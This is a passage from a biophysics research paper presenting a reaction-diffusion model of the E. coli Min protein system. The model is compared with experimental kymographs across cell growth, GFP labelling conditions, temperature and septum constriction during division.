Initial conditions were generated by setting all MinD and MinE homogeneously distributed in the *D* and *E* ~*2*~ states, respectively, throughout the cell cytoplasm with cell length set equal to the starting length of the corresponding experimental kymograph. All other states were set to zero. This system was then run for 1,000 seconds without any growth to allow it to converge to a stable solution (either oscillating or stationary). The resulting distributions for each species were then taken as the initial conditions for the growing domain simulations. This procedure was justified by solving the model for a complete cell cycle (see [Results](#sec007){ref-type="sec"}) and comparing this complete simulation to individual segments used for comparison to experimental kymographs.
Dividing Cell Simulations {#sec006}
-------------------------
To approximate the division process, we implemented a moving mesh to pinch in at the cell centre. We approximate the pinch as two semicircles with radius 0.5 *μm* (concave with respect to the cytoplasm) that are joined by a third small semicircle of 0.1 *μm* (convex with respect to the cytoplasm). At its thinnest, the radius of the cytoplasm at the pinch was 0.077 *μm*. The ratio of the expanded to constricted septum radii is 15.4% which corresponds to a ratio in the cross-sectional areas of 2.4%. This was the smallest value possible before numerical errors escalated uncontrollably. The time taken for constriction to occur was taken to be 512 *s*, as used by Sengupta \[[@pone.0128148.ref046]\]. As we cannot completely divide the cell in our simulations, we linearly decreased the pinching radius from the initial radius of 0.5 *μm*, to our maximum constriction at the same rate as wild type i.e. over *432* s. Once the minimum radius was reached, this shape was maintained for the remainder of the simulation. By not growing the cell during binary fission, it was possible to obtain a greater constriction of the septum, as the mesh was only being distorted in one direction rather than two.
Results {#sec007}
=======
In rod shaped *E*. *coli*, the distribution of Min proteins is effectively only a function of the position along the major axis of the cell. Thus, experimental studies have utilized kymographs to represent their data. To do this the fluorescence from a cell is collapsed to a line running along the major axis of the cell by integrating the signal perpendicular to it. This one-dimensional line is then graphed against time to create a kymograph.
We present the distributions of MinD resulting from our model simulations in the form of kymographs (Figs [2](#pone.0128148.g002){ref-type="fig"}, [3](#pone.0128148.g003){ref-type="fig"} and [4](#pone.0128148.g004){ref-type="fig"}). These are directly compared to experimental kymographs originating from the studies of Fischer-Friedrich \[[@pone.0128148.ref006]\] where MinD is fully-labelled ([Fig 3](#pone.0128148.g003){ref-type="fig"}) and Juarez \[[@pone.0128148.ref007]\] where MinD is partially-labelled ([Fig 4](#pone.0128148.g004){ref-type="fig"}). Fully-labelled MinD results in higher quality distributions. However, as MinD labelling alters aspects of division \[[@pone.0128148.ref010]\], we have simulated both sets of experimental conditions by adjusting our model (see below).
{#pone.0128148.g002}
{#pone.0128148.g003}
{#pone.0128148.g004}
Overexpression of the Min proteins was required for the collection of the fully-labelled system with low background noise \[[@pone.0128148.ref006]\]. Such overexpression has been shown to create artificial behaviour, in particular there is no evidence that stochastic switching is present in the wild type Min system \[[@pone.0128148.ref008], [@pone.0128148.ref009]\]. While this system is highly perturbed and unlikely to reflect how the wild type Min system looks in reality, it provides a well-measured system, which in turn allows for robust tests to the accuracy of any model.
In describing the features of the kymographs, we have used the following terms. If the distribution of MinD along the cell predominantly contains a single maximum and minimum, we denote this as a first order mode ([Fig 3A](#pone.0128148.g003){ref-type="fig"}). When this changes to a state where there are either two maxima or two minima, we denote this state as a second order mode ([Fig 3B](#pone.0128148.g003){ref-type="fig"} for t \> 1920 s). Patterns that do not change with time are stationary ([Fig 3Aii](#pone.0128148.g003){ref-type="fig"} for t \< 1400 s). When either a first or second order mode oscillates with time, we call it a first or second order breather mode, respectively (Fig [3Aiii](#pone.0128148.g003){ref-type="fig"} and [3Bii](#pone.0128148.g003){ref-type="fig"} for t \> 1900 s, respectively). Positions along the major axis of the cell where the concentration of MinD does not change with time are called nodes while locations where the concentration changes maximally with time are denoted antinodes. Simple first order breather modes have a single node around midcell ([Fig 3Ai](#pone.0128148.g003){ref-type="fig"}) whereas second order breather modes have two nodes ([Fig 3Bii](#pone.0128148.g003){ref-type="fig"} for t \> 1900 s).
Growing Domain with Fully-Labelled MinD {#sec008}
---------------------------------------
To examine how the model develops throughout a cell cycle, a simulation was run for the lifetime of a cell, from the length of a short newborn cell to a filamentous cell using the parameters for fully-labelled MinD. This was started at 2 *μm* and grown all the way through to 6.5 *μm* at a growth rate of 0.625 *nm s* ^*-1*^ over 120 minutes. The resulting kymograph showing the distribution of MinD as a function of time, and subsequently cell length, is presented in [Fig 2](#pone.0128148.g002){ref-type="fig"}, where yellow is high MinD concentration while dark blue is low (see [S1 Movie](#pone.0128148.s006){ref-type="supplementary-material"}).
This simulation has several defining characteristics. There is a transition from stationary to oscillating MinD distribution at approximately 2.7 *μm*. As the simulation continues past this critical point, there is a gradual transition in waveform from a rectangular shape (2.75--3.25 *μm*) to a triangular shape (4.5--5.25 *μm*). This continues until the cell length reaches approximately 5.4 *μm*, where a distinct pattern appears with MinD alternately occupying the poles and the midcell position, forming a second order breather mode ([Fig 2](#pone.0128148.g002){ref-type="fig"}).
Transition From Stationary to Oscillating Pattern Arises Naturally From Model Dynamics {#sec009}
--------------------------------------------------------------------------------------
To evaluate the accuracy of this model for the fully-labelled MinD system, representative experimental kymographs from the work of Fischer-Friedrich \[[@pone.0128148.ref006]\] were selected. These kymographs do not span a complete cell division cycle due to experimental limitations. Theoretical simulations were then run between the same starting and finishing lengths as the experimental kymographs and over the same time period to provide a direct comparison. These are shown in [Fig 3A](#pone.0128148.g003){ref-type="fig"} (experimental kymographs in 3Ai and 3Aiii and corresponding simulations in 3Aii and 3Aiv, respectively).
Many of the physical characteristics of the Min system as seen in experimental kymographs are present in the theoretical model. [Fig 3Ai](#pone.0128148.g003){ref-type="fig"} illustrates how the MinD distribution in the experimental kymograph is essentially stationary at lengths less than 2.7*μm*, with MinD residing at one pole, with the phase of this first order mode switching stochastically, abruptly moving MinD to the opposite pole ([Fig 3Ai](#pone.0128148.g003){ref-type="fig"} at 250 *s* and twice around 1200 *s*). The equivalent theoretical simulation ([Fig 3Aii](#pone.0128148.g003){ref-type="fig"}) contains no stochastic terms (other than noise due to discrete computation). Hence, there is no mechanism to give rise to phase switching while the pattern is in a stationary mode i.e. MinD remains localized at the top pole from the start of the simulation continuously through to 1440 *s* ([Fig 3Aii](#pone.0128148.g003){ref-type="fig"}).
Once the cell grew past a critical length (2.7 *μm* in Fig [3Ai](#pone.0128148.g003){ref-type="fig"} and [3Aii](#pone.0128148.g003){ref-type="fig"}), both experimental ([Fig 3Ai](#pone.0128148.g003){ref-type="fig"}) and theoretical ([Fig 3Aii](#pone.0128148.g003){ref-type="fig"}) kymographs started to oscillate. As the cell elongated further, the experimental oscillations become more regular, and the agreement in period between experiment and theory improves ([Fig 3A](#pone.0128148.g003){ref-type="fig"}).
In cells just long enough to oscillate (2.75--3.25 *μm*) both experimental ([Fig 3Ai](#pone.0128148.g003){ref-type="fig"}) and theoretical ([Fig 3Aii](#pone.0128148.g003){ref-type="fig"}) kymographs displayed rectangular waveforms. As the cells grew, the waveform gradually changed from square wave to a more triangular shape (see the experimental and theoretical kymographs in Fig [3Aiii](#pone.0128148.g003){ref-type="fig"} and [3Aiv](#pone.0128148.g003){ref-type="fig"}, respectively). In both theoretical and experimental kymographs, this transition occurred by initial lengthening of the leading edge of the rectangle for cell lengths between 3.2 and 3.8 *μm* before the peak moves to the centre of the wave.
While these features are unlikely to exist in the wild type system \[[@pone.0128148.ref008], [@pone.0128148.ref009]\], they do represent a set of critical phenomena that any accurate model should be able to recreate after accounting for the fully-labelled conditions.
Variations in Transition to the Second Order Mode in Filamentous Cells {#sec010}
----------------------------------------------------------------------
Typically, shortly after the end of the kymograph in [Fig 3Aiii](#pone.0128148.g003){ref-type="fig"} cell division occurs for the fully-labelled MinD system. This creates two daughter cells in which the Min patterning returns back to the regime seen in [Fig 3Ai](#pone.0128148.g003){ref-type="fig"} \[[@pone.0128148.ref006]\]. However, occasionally a cell did not divide when it reached \~5 *μm* and continued to grow past lengths normally seen, known as filamentous growth \[[@pone.0128148.ref002]\].
As filamentous cells continued to grow, eventually the first order breather mode gave way to a second order breather mode. In this regime, MinD oscillated between localizing simultaneously at both poles before localizing to the centre of the cell. Examples of second order breather modes are seen in every kymograph in [Fig 3B](#pone.0128148.g003){ref-type="fig"} after 2000 *s* and in [Fig 3C](#pone.0128148.g003){ref-type="fig"}.
Visual inspection of the kymographs of filamentous cells provided by Fischer-Friedrich for the fully-labelled MinD system suggested that there are two broad classes of transition from the first to the second order breather modes. The first type of transition contained an intermediary travelling wave pattern (diagonal stripes in Fig [3Bi](#pone.0128148.g003){ref-type="fig"} & [3Bii](#pone.0128148.g003){ref-type="fig"} between 600 and 1400 *s*). This transitional pattern appeared to be a superposition of a first and second order breather mode. The travelling wave was moving from the bottom of the cell to the top, giving rise to the striped kymograph. After further cell growth, the first order mode decayed, leaving a simple second order breather mode (Fig [3Bi](#pone.0128148.g003){ref-type="fig"} & [3Bii](#pone.0128148.g003){ref-type="fig"} at times \> 1800 *s*).
In contrast, the second type of transition skipped this travelling wave phase and went straight from a first to a second order breather mode. An example of this type of transition is shown in [Fig 3Biii](#pone.0128148.g003){ref-type="fig"} where the first order breather mode was maintained all the way to 1900 seconds before a sudden transition to a stable second order breather mode occurs.
By varying the starting length and growth rate of our simulations, we were able to replicate both of these types of transition types. These are shown in [Fig 3Bii](#pone.0128148.g003){ref-type="fig"} and [3Biv](#pone.0128148.g003){ref-type="fig"} respectively. We note that the transition length of the model, approximately 5.5 *μm*, differs from that seen in the experimental kymographs (Fig [3Bi](#pone.0128148.g003){ref-type="fig"} and [3Biii](#pone.0128148.g003){ref-type="fig"}) however, it was within the range seen experimentally (approximately 4.8--7.2 *μm*).
Min Patterning is Dependent on the MinE:MinD Ratio {#sec011}
--------------------------------------------------
To test the robustness of the model to variations in the relative concentrations of MinD and MinE, a simulation was run with 90% of the wild type MinE concentration ([Fig 3Cii](#pone.0128148.g003){ref-type="fig"}). Although it shows similar features to wild type simulations, distinct differences are evident. The reduction of MinE concentration resulted in an increase in the period of oscillation compared to the wild type kymographs (approximately 100 *s* versus 80 *s*) which was accompanied by a proportional increase in width of the waveforms as a function of time. This is in qualitative agreement with previous stochastic \[[@pone.0128148.ref026]\] and deterministic \[[@pone.0128148.ref024], [@pone.0128148.ref030]\] models that have also shown an increase in period with a decrease in MinD:MinE ratio. Unfortunately, to date, there is no quantitative data relating protein ratios to the period of oscillation \[[@pone.0128148.ref030]\].
Transitions to the second order breather mode occur at a cell length of 6 *μm* compared to 5.5 *μm* for wild type MinE:MinD ratios. The triangular waveforms of high MinD concentration interdigitate ([Fig 3Cii](#pone.0128148.g003){ref-type="fig"}, t \< 1200s), indicating that high MinD concentrations are seen all the way from the cell pole to beyond the cell midline. High MinD concentration crossing the cell midline was also seen in some simulations with wild type MinE:MinD ratios ([Fig 3Biv](#pone.0128148.g003){ref-type="fig"} near 1500 s), however, the extent to which MinD crossed the midline was smaller. The extent to which MinD crosses the cell midline increases as the MinE:MinD ratio was decreased until eventually the waveforms originating at each pole begin to merge (see [S2 Text](#pone.0128148.s012){ref-type="supplementary-material"} for details).
Within the set of experimental data with fully-labelled MinD \[[@pone.0128148.ref006]\], one distinct experimental kymograph displayed the same characteristics as the simulation with reduced MinE concentration ([Fig 3Ci](#pone.0128148.g003){ref-type="fig"}). Comparing this to the kymographs in Fig [3Bi](#pone.0128148.g003){ref-type="fig"} and [3Biii](#pone.0128148.g003){ref-type="fig"}, one sees that the period has increased. Also, in the first part of the kymograph where the first order breather mode dominates the pattern, the regions of high MinD concentration extend past cell midline and partially merge as per the simulation. The transition to the second order breather mode in the experimental kymograph occurs at a cell length of approximately 6.4 *μm* which was longer than the median length for transitions seen in the experimental set.
Min Oscillations with Partially-Labelled MinD {#sec012}
---------------------------------------------
Touhami demonstrated that there is a large discrepancy in the period of oscillation between the fully and partially-GFP-labelled Min systems \[[@pone.0128148.ref010]\]. The difference in period reported is much larger than the reported changes in the period of oscillation of the Min system throughout the cell cycle \[[@pone.0128148.ref006]\]. As different base strains were used for the different types of labelling experiments, there are many potential sources for the discrepancy in oscillation period.
It has been proposed that the appearance of the stationary phase in short cells as observed by Fischer-Friedrich is a result of over expression of the Min system \[[@pone.0128148.ref009]\]. If Min protein concentration is the sole source of differences between the experimental results for fully-labelled versus partially-labelled cells, we should be able to model partial-labelling by reducing Min protein concentration. While we find that reducing the concentration of the Min system is sufficient to abolish this stationary phase of patterning and decrease the period of oscillation, it is not capable recreating the partially-labelled data of Juarez \[[@pone.0128148.ref007]\]. A kymograph of the reduced concentration system is shown in [S1 Fig](#pone.0128148.s001){ref-type="supplementary-material"}. In particular, the transition from first to second order mode remains longer than observed experimentally in partially-labelled cells. In the fully-labelled Fischer-Friedrich experiment this transition occurs between 4.7 and 5.5 *μm* ([Fig 2](#pone.0128148.g002){ref-type="fig"}), while in the Juarez experiment the transition to mid cell antinodes occurs at 3 *μm* ([Fig 4](#pone.0128148.g004){ref-type="fig"}). This transition to mid cell antinode patterning has been independently observed by fluorescently labelling MinC \[[@pone.0128148.ref045]\]. Using our model that fits the fully-labelled kymographs and reducing the Min protein concentration the transition occurs at 4.5 *μm* ([S1 Fig](#pone.0128148.s001){ref-type="supplementary-material"}) which is not consistent with the partially-labelled experimental kymographs. Furthermore, there is only a minimal region where mid cell antinodes are observed in this model ([S1 Fig](#pone.0128148.s001){ref-type="supplementary-material"} from 4000 to 5000 s), again differing from experiment. Thus, a reduction in Min protein concentration alone is not sufficient to allow our model to fit both fully- and partially-labelled experimental data.
Plotting the change in period due to perturbations in each parameter in our model showed that the ATPase/heterotetramer dissociation parameter, *ω* ~*hydr*~, had the greatest influence on the period of oscillation (see [S3 Text](#pone.0128148.s013){ref-type="supplementary-material"} for details). It has recently been shown experimentally that GFP tagging can cause artefactual aggregation of native homomultimeric proteins \[[@pone.0128148.ref047]\]. If GFP were having a stabilizing effect on the membrane-bound MinD-GFP dimer then we would expect that GFP labelling would decrease the rate of monomerisation, which, in our model, is a component of the ATPase and MinDE heterotetramer dissociation reaction modelled by the rate constant *ω* ~*hydr*~. Two approaches to avoid GFP artefacts have been the use of GFP variants that prevent GFP self-association \[[@pone.0128148.ref047]\], and minimally labelling proteins with GFP *in vivo* \[[@pone.0128148.ref048]\].
Combined, these results indicate that, as a first approximation, altering this parameter (*ω* ~*hydr*~) could counteract the effects of GFP-labelling on the function of MinD. Rescaling this rate from 0.12 *s* ^-1^ for fully-labelled MinD to 0.5 *s* ^-1^ for the partially-labelled system resulted in a decrease in the oscillation period so that simulations matched experimental data ([Fig 4](#pone.0128148.g004){ref-type="fig"}). In addition, GFP labelling alters the diffusion coefficient of MinD in solution; hence it was increased from 16 to 24 *μm* ^2^ *s* ^-1^. We note that changing the diffusion constant had a minimal effect on simulations (see [S4 Text](#pone.0128148.s014){ref-type="supplementary-material"} for comparison).
Results of a simulation with this modified set of parameters are shown in [Fig 4A](#pone.0128148.g004){ref-type="fig"} (see [S2 Movie](#pone.0128148.s007){ref-type="supplementary-material"}). In this simulation, the cell was grown at a rate of 1.05 *nm s* ^*-1*^ which is faster than the growth rates seen in the fully-labelled system but correlates to a biomass doubling time of approximately 30 minutes. This was chosen to be consistent with *E*. *coli* in rich media. In any case, changes in growth rate have a negligible effect on transition lengths and patterning within stable patterning regions. This can be seen by comparing the theoretical kymographs in [Fig 4B](#pone.0128148.g004){ref-type="fig"} where there was no cell growth, with the corresponding lengths in [Fig 4A](#pone.0128148.g004){ref-type="fig"}. Many of the characteristics typically associated with the partially-labelled Min system are seen in this simulation ([Fig 4A](#pone.0128148.g004){ref-type="fig"}).
Using these parameters, the length at which the cell transitioned from a stationary to an oscillating MinD pattern occurred at less than 1.5 *μm*, which is below the minimum length of typical *E*. *coli* cells. From 1.5 *μm* through to 3 *μm* the model predicts that partially-labelled MinD rapidly oscillates from pole to pole ([Fig 4A](#pone.0128148.g004){ref-type="fig"}). MinD resides close to one of the cell poles giving rise to a definite bare zone at the midcell. A direct comparison between a short cell of 1.8 *μ*m from Juarez' experiments \[[@pone.0128148.ref007]\] and the model is made in Fig [4Bi](#pone.0128148.g004){ref-type="fig"} and [4Bii](#pone.0128148.g004){ref-type="fig"}, respectively. As partial labelling provides a much weaker signal compared to the fully-labelled system, it is difficult to characterize the experimental waveform. However, the antinodes of both experimental and theoretical kymographs extend a similar distance from the poles of the cell and have a similar period. Such characteristics continue as the cell grows, as demonstrated for a 2.5 *μ*m cell (Fig [4Biii](#pone.0128148.g004){ref-type="fig"} and [4Biv](#pone.0128148.g004){ref-type="fig"}).
Experiments on cells with partially-labelled MinD show a transition to a different type of patterning at 3 *μm* \[[@pone.0128148.ref007]\]. This length is marked on the second line of the model kymograph in [Fig 4A](#pone.0128148.g004){ref-type="fig"} by a red line. This regime is dominated by patterning where the high concentration of MinD at one end of the cell moves away from the pole to a region adjacent to the cell midline. This type of patterning was previously coined "midcell pausing" \[[@pone.0128148.ref007]\], however, we feel that this is misleading as the word "pausing" suggests a change in the time dependent behaviour of the Min proteins. To avoid this, we refer to this phenomenon as "midcell antinodes" as this accurately describes an increase in MinD concentration in the midcell region that arises from the dynamics of the Min system.
Midcell antinodes are seen in both experiments and simulations (Fig [4Bv](#pone.0128148.g004){ref-type="fig"} and [4Bvi](#pone.0128148.g004){ref-type="fig"}). Our simulation for a full cell growth demonstrates a strong tendency for anitinode formation at midcell to favour one end of the cell with only occasional switching to the opposite pole ([Fig 4A](#pone.0128148.g004){ref-type="fig"}. cell length \> 3 *μm*). This is consistent with qualitative experimental reports \[[@pone.0128148.ref007]\]. Such switching indicates that there is an instability underlying this behaviour with the switching in the model likely being triggered by numerical imprecision in the computation.
Temperature Dependence of Period of Oscillation {#sec013}
-----------------------------------------------
It has been suggested that ATP hydrolysis is the rate-limiting step in the Min cycle \[[@pone.0128148.ref024]\]. The ability for changes to the rate of ATP hydrolysis to account for changes in the period of oscillation have also been explored in similar models \[[@pone.0128148.ref030]\]. If this is correct for our model, we expect that the temperature dependence of the system could be modelled by changing the rate of ATP hydrolysis. The model implicitly contains the ATP hydrolysis step within the parameter *ω* ~*hydr*~ which also includes heterotetramer dissociation (see Model Formulation for details). A Boltzmann factor was subsequently applied to this term. The Boltzmann factor takes the form $\text{exp}\left( \frac{\varepsilon\left( {T - T_{0}} \right)}{kTT_{0}} \right)$ where *ε* is the activation energy for that the reaction that includes ATP hydrolysis and tetramer dissociation, *T* ~*0*~ is the temperature under which the experiments of Juarez were conducted (32°C) \[[@pone.0128148.ref007]\]) and *k* is Boltzmann's constant.
The resulting relationship between temperature and MinD oscillation period of the model is shown in red in [Fig 5](#pone.0128148.g005){ref-type="fig"}. Close examination reveals that the model results fit the experimental data for the dependence of oscillation period on temperature \[[@pone.0128148.ref049]\] with a standard deviation of 1.03 s between model ([Fig 5](#pone.0128148.g005){ref-type="fig"}, red) and experimental ([Fig 5](#pone.0128148.g005){ref-type="fig"}, blue) data points. The activation energy for the best fit was equal to 11.5 kcal/mol, which coincidentally is approximately equal to the free energy of ATP hydrolysis.
![Temperature Dependence of the Period of Oscillation for the Min Protein System.\
Experimental data with error bars is shown in blue \[[@pone.0128148.ref049]\]. The periods extracted from individual simulations at each temperature are shown in red with straight lines joining simulation points.](pone.0128148.g005){#pone.0128148.g005}
Simulating Min Patterning During Cell Division {#sec014}
----------------------------------------------
Juarez measured the changes in Min dynamics during cell division (using partially-labelled MinD) to investigate the mechanism behind the cell's ability to equally partition the Min proteins between daughter cells \[[@pone.0128148.ref007]\]. It was shown that, in constricting cells, patterning dominated by antinodes forming at midcell seen in [Fig 4A](#pone.0128148.g004){ref-type="fig"} soon gives way to regular, second order oscillation around the time of septum closure. This second order breather mode is symmetric, so on average both MinD and MinE would be divided equally between each cell half throughout the oscillation cycle and hence partition equally to each daughter cell. A similar process has also been reported to occur in cells where MinD is fully labelled, with Min patterning continues unimpeded for both daughter cells following cell division \[[@pone.0128148.ref006]\].
To simulate the cell division process in both the fully-labelled and partially-labelled systems, the model equations were solved for a fixed cell length while the midcell region was continuously constricted (see [Methods](#sec002){ref-type="sec"}; [Fig 6](#pone.0128148.g006){ref-type="fig"}). This builds on the work of Di Ventura who solved a model of the Min system for various static constriction radii and showed that it was sufficient to induce a transition to a second order mode \[[@pone.0128148.ref008]\]. To be consistent with Juarez's observation of high MinD concentration near the cell midline prior to cell division, we performed the partially-labelled study at a cell length 3.5 *μm*, where the system is firmly in the regime supporting midcell antinodes ([Fig 4A](#pone.0128148.g004){ref-type="fig"}). The fully-labelled system was modelled with a 5 *μm* cell, which is within the range where cell division is observed. However, from our simulations, a fully-labelled 5 *μm* cell shows a stable first order breather mode (Figs [2](#pone.0128148.g002){ref-type="fig"}, [3B](#pone.0128148.g003){ref-type="fig"} and [3C](#pone.0128148.g003){ref-type="fig"}) which will continue indefinitely in the absence of septum constriction.
{#pone.0128148.g006}
Results of the simulations of the fully-labelled and partially-labelled systems are shown in Fig [6A](#pone.0128148.g006){ref-type="fig"} and [6B](#pone.0128148.g006){ref-type="fig"}, respectively (see [S3](#pone.0128148.s008){ref-type="supplementary-material"} and [S4](#pone.0128148.s009){ref-type="supplementary-material"} Movies, respectively). For the fully-labelled cell prior to the initiation of division (t \< 300 s, green line in [Fig 6A](#pone.0128148.g006){ref-type="fig"}), the proportion of Min proteins in the top cell half varies from approximately 13% to 81% for MinD and 17% to 78% for MinE across a single period ([Fig 6Aii](#pone.0128148.g006){ref-type="fig"}). With the onset of septum constriction, oscillations are initially unaffected as the septum radius is reduced (Fig [6Ai](#pone.0128148.g006){ref-type="fig"} and [6Aii](#pone.0128148.g006){ref-type="fig"}). Once the radius of the septum has reduced to approximately 0.25 *μm*, half its initial value, we see a critical point, following which an erratic transition period ensues. Eventually this stabilises into a stationary second order mode where MinD is symmetrically localized to the centre of the cell. After 432 seconds of constriction (732 seconds of simulation), when the septum has reached the maximum constriction possible, indicated in the figure with an orange line, the proportion of MinD and MinE in the top cell is within 4% of parity, following which it then continues to converge towards equal distribution. At this stage, oscillations cease and the MinD distributions adopts a stationary second order mode ([Fig 6Ai](#pone.0128148.g006){ref-type="fig"} with t \> 750 *s*).
Both MinD and MinE asymptotically approach symmetric distribution in the two halves of the cell from the same side, such that even if their individual partitioning has not completely converged to 50%, as is the case in this simulation, their stoichiometric ratio is approximately constant. Consequently this increases the stability of the patterning in the daughter cells, as the stability of future patterning is more susceptible to differences in the MinE to MinD ratio than their absolute concentrations \[[@pone.0128148.ref011]\]. The root mean square of the difference between the division ratios of MinD and MinE is 0.35%,
A model calculation for cell division in the partially-labelled system is shown in [Fig 6B](#pone.0128148.g006){ref-type="fig"}. As seen in [Fig 6Bii](#pone.0128148.g006){ref-type="fig"} partially-labelled cell leads to a much greater asymmetry in the distribution of Min proteins in each half of the cell when compared to the fully-labelled system ([Fig 6Aii](#pone.0128148.g006){ref-type="fig"}), with MinD varying from 30% to 90% and MinE from 37% to 76% in the top half of the cell. As per the fully-labelled system, the oscillations are initially unaffected by the divisome constriction. However, as constriction continues, the distribution of Min proteins in the two halves of the cell becomes more symmetric over an oscillation period. [Fig 6Bii](#pone.0128148.g006){ref-type="fig"} shows this clearly around 600 seconds where the percentages oscillate from 20% and 90% for MinD and 28% and 76% for MinE.
At approximately 700 s, a transition to a second order breather mode occurs. As seen in the kymograph in [Fig 6Bi](#pone.0128148.g006){ref-type="fig"}, this second order mode is not completely symmetric which leads to the small scale fluctuations in Min protein distributions (seen after 700 seconds in [Fig 6Bii](#pone.0128148.g006){ref-type="fig"}). Between the time that the constriction is halted due to numerical constraints (shown by the orange line) and when binary fission is likely to occur (denoted by the red line), the root mean square of the difference between parity and the percentage of Min protein in both halves was 7.7% and 6.1% for MinD and MinE respectively. These results are consistent with the experimental measurements of the distribution of MinD between daughter cells \[[@pone.0128148.ref007]\]. Similar to the fully-labelled model, MinE closely follows the MinD oscillations, so the root mean square of the difference between the MinD and MinE percentages is 4.75%, which is less than the absolute fluctuation.
Discussion {#sec015}
==========
We have produced a model of the Min protein system based on experimentally determined molecular interactions. This model reproduces the main characteristics of the *in vivo* Min system for a full cell cycle using a single set of parameters with only the rate constant controlling MinD ATPase and *d* ~*2*~ *e* ~*2*~ heterotetramer dissociation (*ω* ~*hydr*~) being varied to account for GFP labelling or the effects of temperature. Comparison of experimental and model kymographs showing the distribution of MinD as a function of time and cell length suggests that the model accounts for the major interactions in the Min system that are responsible for MinD spatiotemporal patterning.
The model naturally accounts for the major transitions of the Min protein system during cell growth and division. In particular, the model reproduces the gradual changes in appearance of MinD waveforms in the kymographs as a function of time (from square wave to triangular waveforms). This suggests that the dominant interactions of the physical system have been successfully incorporated into the model so as to give rise to the same non-linearities that are responsible for patterning.
Critical transitions in MinD patterning as a function of cell length for cells with both fully-labelled and partially-labelled MinD-GFP were reproduced by the model. For the fully-labelled cells, the model reproduces the transition from stationary patterning to MinD oscillations at 2.75 *μm* and, in filamentous cells, the various MinD patterns observed in transitions from the first to the second order breather modes. While these patterning phenomena are unlikely to exist in wild-type cells \[[@pone.0128148.ref008], [@pone.0128148.ref009]\], the ability to recreate them is an important check for the model's validity.
The model reproduces Min dynamics for partially-labelled cells by increasing the rate constant controlling MinD ATPase and heterotetramer dissociation by a factor of approximately four. Under these conditions, the MinD pattern is always oscillating for realistic cell lengths (i.e. no cells have stationary MinD distributions), explaining the discrepancies between experiments on fully-labelled \[[@pone.0128148.ref006]\] and partially-labelled \[[@pone.0128148.ref007]\] cells.
The model also reproduces the development of antinodes near the septum in cells approaching cell division, previously termed midcell pausing, which is observed in partially-labelled cells \[[@pone.0128148.ref007]\] but not in fully-labelled cells \[[@pone.0128148.ref006]\]. Our findings show that midcell antinodes can happen autonomously via the known interactions amongst MinD, MinE and the membrane, and would not require changes in membrane curvature or other molecules located at midcell. It seems likely that midcell antinodes may be an intrinsic feature of Min patterning that aids in the equal partitioning of Min proteins into daughter cells by signalling when the Min system is ready to transition to a second order mode synchronously with septum closure. The slight filamentation of the fully labelled system that lacks midcell antinodes suggests that the partially-labelled system may be more reflective of oscillations of unlabelled proteins.
Consistent with reports that MinD ATPase is the rate limiting step of the Min cycle \[[@pone.0128148.ref030]\], the temperature dependence of the Min oscillation period can be reproduced by this model by multiplying the rate constant controlling MinD ATPase by a Boltzmann factor with the activation approximately energy equal to the free energy of ATP hydrolysis.
A potential molecular mechanism that may underlie the differences between the fully and partially-labelled systems is the ability of GFP to self-interact and stabilize protein complexes and cause aggregation \[[@pone.0128148.ref047]\]. If this is the case for MinD, the extent to which it occurs will be primarily dependent on the variant of the fluorescent protein used, and the relative amount of the MinD-GFP fusion protein to wild type MinD in the cell. This may potentially explain why Di Ventura *et al*. were unable to reproduce the stationary patterning of Fischer Friedrich in a fully GFP labelled MinD system, nor the midcell antinodes of Juarez in a partially-labelled system \[[@pone.0128148.ref008]\].
A striking technical advancement of the model is its ability to partition MinD and MinE into two daughter cells nearly equally and with essentially the same MinE:MinD ratio as the parent cell, in a single continuous simulation. This partitioning is the result of the interplay between Min dynamics and the geometry of the dividing cell. Prior to midcell constriction, the distribution of MinD is determined by a mixture of first and second order breather modes and is clearly asymmetric in terms of the Min protein distribution in the future daughter cells. The constriction of the septum facilitates the decay of the first order mode and stabilizes the symmetric second order mode. The symmetry of this mode is responsible for the equipartitioning of both MinE and MinD.
The existence of Min polymers (*in vitro* and *in vivo*) and their relevance for Min patterning and cell division remains controversial \[[@pone.0128148.ref021], [@pone.0128148.ref050]--[@pone.0128148.ref053]\]. No polymers or complex structures have been incorporated into our model. It is possible that polymer formation, or some other complex besides dimerisation, contributes to the stability of membrane-bound MinD dimers. Our model does not require anisotropic diffusion of MinD or curvature sensing in MinD membrane binding in order to produce patterning. Although curvature sensing could contribute to MinD binding to the end cap in *E*. *coli* cells, it does not account for the MinD patterns observed in either filamentous cells \[[@pone.0128148.ref054], [@pone.0128148.ref055]\] or in the artificial planar bilayer experiments \[[@pone.0128148.ref012]\]. While all of these reactions may be present and may play a role in optimizing the performance of the Min system, this work demonstrates that they are unnecessary to produce the main characteristics of the Min system as seen *in vivo*.
It has recently been reported that MinD forms co-polymers with MinC \[[@pone.0128148.ref056]\]. The deletion of MinC has been shown to have little effect on patterning aside from a slight change in period \[[@pone.0128148.ref005]\]. As a result, it is probable that these polymers aid in the function of MinC inhibiting FtsZ rather than aiding the patterning of the Min system. Indirect evidence that MinD binds to DNA \[[@pone.0128148.ref057]\] also suggests that the inhibition mechanism of FtsZ polymerization by the Min system may be far more complicated than currently assumed.
We have modelled the system using partial differential equations. Whether a stochastic variant would be able to account for stochastic switching in the fully labelled system for short cells remains an open question.
Our molecular model provides a single mathematical description that can account for the observed patterning under diverse experimental conditions. Thus, it provides a basis for unifying our understanding of the Min system and its role in cell division. The Min system has been studied and modelled in a plethora of different phenotypes. What proportion of these phenotypes can be explained by a single model with a single set of parameters will have to await further investigation.
Supporting Information {#sec016}
======================
###### Fully-labelled System with Reduced Protein Concentration.
The fully-labelled system was simulated with MinD and MinE each containing a third of their normal concentrations (463 *μm* ^-3^ (0.76 *μM*) and 162 *μm* ^-3^ (0.26 *μM*), respectively). The resulting kymograph displays no stochastic switching at short cell lengths, with the Min system oscillating from the start of the simulation with a period of approximately 38 s. The system begins to transition away from a pure first order mode at approximately 4000s (with a length of 4.5 *μm*). This transitional segment contains mid cell antinodes before the second order mode dominates at 5000s (cell length of 5.1 *μm*).
(TIFF)
######
Click here for additional data file.
###### Comparison Between Variants of the Min Model.
\(A\) Kymograph of the model used for the results in this paper, the reactions for which are summarised in [Fig 1](#pone.0128148.g001){ref-type="fig"}. B) A model with the same basic reactions as (A) except that MinE binding to the membrane is mediated by MinD dimers. That is, MinE in solution (*E* ~*2*~) binds with membrane-bound MinD dimers (*d* ~*2*~) to form a heterotetramer (*d* ~*2*~ *e* ~*2*~) instead of binding directly to the membrane.
(TIF)
######
Click here for additional data file.
###### Breakdown of the Min Patterning Under Reduced MinE.
The resulting kymographs from simulations run with (A) 90% (B) 85% (C) 80% (D) 75% (E) 70% of the wild type concentration of MinE.
